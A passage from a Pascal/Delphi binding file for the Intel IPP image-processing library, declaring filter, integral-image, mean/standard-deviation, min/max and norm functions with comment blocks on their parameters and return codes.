ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Zero divisor
Parameters:
ppSrc The double pointer to the source image
pDst The pointer to the destination image
dstStep The step in the destination image
roiSize The image ROI size
pKernel The pointer to the kernel
kernelSize The size of the kernel
divisor The value to divide output pixels by , (for integer functions)
pBuffer The pointer to the working buffer
Notes: The input is the doulble pointer to support the circle buffer
}
function ippiFilterColumnPipeline_16s_C1R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16s_C3R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_Low_16s_C1R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_Low_16s_C3R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16u_C1R( ppSrc : Ipp16uPtrPtr ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16uPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16u_C3R( ppSrc : Ipp16uPtrPtr ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16uPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16s8u_C1R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16s8u_C3R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16s8s_C1R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_16s8s_C3R( ppSrc : Ipp16sPtrPtr ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_32f_C1R( ppSrc : Ipp32fPtrPtr ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterColumnPipeline_32f_C3R( ppSrc : Ipp32fPtrPtr ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Fixed Filters
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiFilterSobelCrossGetBufferSize_8u16s_C1R, ippiFilterLaplacianGetBufferSize_8u16s_C1R,
ippiFilterLowpassGetBufferSize_8u_C1R, ippiFilterSobelCrossGetBufferSize_32f_C1R,
ippiFilterLaplacianGetBufferSize_32f_C1R, ippiFilterLowpassGetBufferSize_32f_C1R
Purpose: Perform convolution operation with fixed kernels 3x3 and 5x5
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image is less or equal zero
ippStsMaskSizeErr Wrong mask size
Parameters:
roiSize The image ROI size
mask The mask size
pBufferSize The pointer to the buffer size
}
function ippiFilterSobelCrossGetBufferSize_8u16s_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterLaplacianGetBufferSize_8u16s_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterLowpassGetBufferSize_8u_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSobelCrossGetBufferSize_32f_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterLaplacianGetBufferSize_32f_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterLowpassGetBufferSize_32f_C1R( roiSize : IppiSize ; mask : IppiMaskSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterSobelCrossBorder_8u16s_C1R, ippiFilterLaplacianBorder_8u16s_C1R
ippiFilterLowpassBorder_8u_C1R, ippiFilterSobelCrossBorder_32f_C1R
ippiFilterLowpassBorder_32f_C1R, ippiFilterLaplacianBorder_32f_C1R
Purpose: Perform convolution operation with fixed kernels 3x3 and 5x5
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsMaskSizeErr Wrong mask size
ippStsBadArgErr Wrong border type or zero divisor
Parameters:
pSrc The pointer to the source image
srcStep The step in the source image
pDst The pointer to the destination image
dstStep The step in the destination image
roiSize The image ROI size
mask The mask size
borderType The type of the border
borderValue The value for the constant border
pBuffer The pointer to the working buffer
divisor The value to divide output pixels by , (for integer functions)
}
function ippiFilterSobelCrossBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplacianBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLowpassBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelCrossBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLowpassBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplacianBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGenSobelKernel_16s, ippiGenSobelKernel_32f
Purpose: Generate kernel for Sobel differential operator
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The size of kernel is less or equal zero
ippStsBadArgErr derivative order is less than 0
Parameters:
pDst The pointer to the destination kernel
kernelSize The kernel size, odd
dx The order of derivative (0<=dx<kernelSize)
sign Reverse signs in sign < 0
}
function ippiGenSobelKernel_16s( pDst : Ipp16sPtr ; kernelSize : Int32 ; dx : Int32 ; sign : Int32 ): IppStatus; _ippapi
function ippiGenSobelKernel_32f( pDst : Ipp32fPtr ; kernelSize : Int32 ; dx : Int32 ; sign : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image Integrals
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiIntegral, ippiTiltedIntegral
ippiSqrIntegral, ippiTiltedSqrIntegral
Purpose: calculates pixel sum on subimage
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc The pointer to source image
srcStep The step in source image
pDst The pointer to destination integral image
dstStep The step in destination image
pSq The pointer to destination square integral image
sqStep The step in destination image
roiSize The source and destination image ROI size.
val The value to add to pDst image pixels.
valSqr The value to add to pSq image pixels.
}
function ippiIntegral_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; srcRoiSize : IppiSize ; val : Ipp32s ): IppStatus; _ippapi
function ippiIntegral_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; srcRoiSize : IppiSize ; val : Ipp32f ): IppStatus; _ippapi
function ippiIntegral_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; srcRoiSize : IppiSize ): IppStatus; _ippapi
function ippiTiltedIntegral_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; val : Ipp32s ): IppStatus; _ippapi
function ippiTiltedIntegral_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; val : Ipp32f ): IppStatus; _ippapi
function ippiSqrIntegral_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; pSqr : Ipp32sPtr ; sqrStep : Int32 ; roi : IppiSize ; val : Ipp32s ; valSqr : Ipp32s ): IppStatus; _ippapi
function ippiSqrIntegral_8u32s64f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; roiSize : IppiSize ; val : Ipp32s ; valSqr : Ipp64f ): IppStatus; _ippapi
function ippiSqrIntegral_8u32f64f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; roiSize : IppiSize ; val : Ipp32f ; valSqr : Ipp64f ): IppStatus; _ippapi
function ippiTiltedSqrIntegral_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; pSqr : Ipp32sPtr ; sqrStep : Int32 ; roi : IppiSize ; val : Ipp32s ; valSqr : Ipp32s ): IppStatus; _ippapi
function ippiTiltedSqrIntegral_8u32s64f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; roiSize : IppiSize ; val : Ipp32s ; valSqr : Ipp64f ): IppStatus; _ippapi
function ippiTiltedSqrIntegral_8u32f64f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; roiSize : IppiSize ; val : Ipp32f ; valSqr : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image Mean and Variance
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiMean_8u_C1MR, ippiMean_16u_C1MR, ippiMean_32f_C1MR,
ippiMean_8u_C3CMR, ippiMean_16u_C3CMR, ippiMean_32f_C3CMR
Purpose: Find mean value for selected region
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsCOIErr COI index is illegal (coi<1 || coi>3)
Parameters:
pSrc Pointer to image
srcStep Image step
pMask Pointer to mask image
maskStep Step in the mask image
roiSize Size of image ROI
coi Index of color channel (1..3) (if color image)
pMean Returned mean value
Notes:
}
function ippiMean_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMean_StdDev_8u_C1R, ippiMean_StdDev_32f_C1R,
ippiMean_StdDev_16u_C1R, ippiMean_StdDev_32f_C3CR,
ippiMean_StdDev_8u_C3CR, ippiMean_StdDev_16u_C3CR,
Purpose: Find mean and standard deviation values for selected region
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsCOIErr COI index is illegal (coi<1 || coi>3)
Parameters:
pSrc Pointer to image
srcStep Image step
roiSize Size of image ROI
coi Index of color channel (1..3) (if color image)
pMean Returned mean value
pStdDev Returned standard deviation
Notes:
}
function ippiMean_StdDev_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
function ippiMean_StdDev_8u_C3CR( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
function ippiMean_StdDev_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
function ippiMean_StdDev_16u_C3CR( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
function ippiMean_StdDev_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
function ippiMean_StdDev_32f_C3CR( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; var pMean : Ipp64f ; var pStdDev : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMean_StdDev_8u_C1MR, ippiMean_StdDev_8u_C3CMR,
ippiMean_StdDev_16u_C1MR, ippiMean_StdDev_16u_C3CMR,
ippiMean_StdDev_32f_C1MR, ippiMean_StdDev_32f_C3CMR,
Purpose: Find mean and standard deviation values for selected region
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Pointer to image
srcStep Image step
pMask Pointer to mask image
maskStep Step in the mask image
roiSize Size of image ROI
coi Index of color channel (1..3) (if color image)
pMean Returned mean value
pStdDev Returned standard deviation
Notes:
}
function ippiMean_StdDev_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_StdDev_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_StdDev_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_StdDev_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_StdDev_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_StdDev_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Variance on Window
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiRectStdDev, ippiTiltedRectStdDev
Purpose: Calculates standard deviation on rectangular window
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc The pointer to source image of integrals
srcStep The step in source image
pSqr The pointer to destination square integral image
sqrStep The step in destination image
pDst The pointer to destination image
dstStep The step in destination image
roiSize The destination image ROI size.
rect The rectangular window for standard deviation calculation.
scaleFactor Output scale factor
Notes:
}
function ippiRectStdDev_32s_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSqr : Ipp32sPtr ; sqrStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roi : IppiSize ; rect : IppiRect ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiRectStdDev_32s32f_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; rect : IppiRect ): IppStatus; _ippapi
function ippiRectStdDev_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; rect : IppiRect ): IppStatus; _ippapi
function ippiTiltedRectStdDev_32s32f_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; rect : IppiRect ): IppStatus; _ippapi
function ippiTiltedRectStdDev_32s_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSqr : Ipp32sPtr ; sqrStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roi : IppiSize ; rect : IppiRect ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiTiltedRectStdDev_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSqr : Ipp64fPtr ; sqrStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; rect : IppiRect ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image Minimum and Maximum
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiMinMaxIndx_8u_C1R, ippiMinMaxIndx_8u_C3CR,
ippiMinMaxIndx_16u_C1R, ippiMinMaxIndx_16u_C3CR,
ippiMinMaxIndx_32f_C1R, ippiMinMaxIndx_32f_C3CR,
Purpose: Finds minimum and maximum values in the image and their coordinates
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Pointer to image
srcStep Image step
roiSize Size of image ROI
coi Index of color channel (1..3) (if color image)
pMinVal Pointer to minimum value
pMaxVal Pointer to maximum value
pMinIndex Minimum`s coordinates
pMaxIndex Maximum`s coordinates
Notes:
Any of output parameters is optional
}
function ippiMinMaxIndx_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_8u_C3CR( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_16u_C3CR( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_32f_C1R( pSrc : Ipp32fPtr ; step : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_32f_C3CR( pSrc : Ipp32fPtr ; step : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinMaxIndx_8u_C1MR, ippiMinMaxIndx_8u_C3CMR,
ippiMinMaxIndx_16u_C1MR, ippiMinMaxIndx_16u_C3CMR,
ippiMinMaxIndx_32f_C1MR, ippiMinMaxIndx_32f_C3CMR,
Purpose: Finds minimum and maximum values in the image and their coordinates
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Pointer to image
srcStep Image step
pMask Pointer to mask image
maskStep Step in the mask image
roiSize Size of image ROI
coi Index of color channel (1..3) (if color image)
pMinVal Pointer to minimum value
pMaxVal Pointer to maximum value
pMinIndex Minimum`s coordinates
pMaxIndex Maximum`s coordinates
Notes:
Any of output parameters is optional
}
function ippiMinMaxIndx_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
function ippiMinMaxIndx_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pMinVal : Ipp32fPtr ; pMaxVal : Ipp32fPtr ; pMinIndex : IppiPointPtr ; pMaxIndex : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image Norms
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Names: ippiNorm_Inf_8u_C1MR, ippiNorm_Inf_32f_C1MR,
ippiNorm_Inf_16u_C1MR, ippiNorm_Inf_8u_C3CMR,
ippiNorm_Inf_16u_C3CMR, ippiNorm_Inf_32f_C3CMR,
ippiNormDiff_Inf_8u_C1MR, ippiNormDiff_Inf_8u_C3CMR,
ippiNormDiff_Inf_16u_C1MR, ippiNormDiff_Inf_32f_C1MR,
ippiNormDiff_Inf_16u_C3CMR, ippiNormDiff_Inf_32f_C3CMR,
ippiNormRel_Inf_8u_C1MR, ippiNormRel_Inf_8u_C3CMR,
ippiNormRel_Inf_16u_C1MR, ippiNormRel_Inf_32f_C1MR,
ippiNormRel_Inf_16u_C3CMR, ippiNormRel_Inf_32f_C3CMR,
ippiNorm_L1_8u_C1MR, ippiNorm_L1_8u_C3CMR,
ippiNorm_L1_16u_C1MR, ippiNorm_L1_32f_C1MR,
ippiNorm_L1_16u_C3CMR, ippiNorm_L1_32f_C3CMR,
ippiNormDiff_L1_8u_C1MR, ippiNormDiff_L1_8u_C3CMR,
ippiNormDiff_L1_16u_C1MR, ippiNormDiff_L1_32f_C1MR,
ippiNormDiff_L1_16u_C3CMR, ippiNormDiff_L1_32f_C3CMR,
ippiNormRel_L1_8u_C1MR, ippiNormRel_L1_8u_C3CMR,
ippiNormRel_L1_16u_C1MR, ippiNormRel_L1_32f_C1MR,
ippiNormRel_L1_16u_C3CMR, ippiNormRel_L1_32f_C3CMR,
ippiNorm_L2_8u_C1MR, ippiNorm_L2_8u_C3CMR,
ippiNorm_L2_16u_C1MR, ippiNorm_L2_32f_C1MR,
ippiNorm_L2_16u_C3CMR, ippiNorm_L2_32f_C3CMR,
ippiNormDiff_L2_8u_C1MR, ippiNormDiff_L2_8u_C3CMR,
ippiNormDiff_L2_16u_C1MR, ippiNormDiff_L2_32f_C1MR,
ippiNormDiff_L2_16u_C3CMR, ippiNormDiff_L2_32f_C3CMR,
ippiNormRel_L2_8u_C1MR, ippiNormRel_L2_8u_C3CMR,
ippiNormRel_L2_16u_C1MR, ippiNormRel_L2_32f_C1MR,
ippiNormRel_L2_16u_C3CMR, ippiNormRel_L2_32f_C3CMR
Purpose: Calculates ordinary, differential or relative norms of one or two images
in an arbitrary image region.
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc, pSrc1 Pointers to source and mask images
pSrc2, pMask
srcStep, src1Step Their steps
src2Step, maskStep
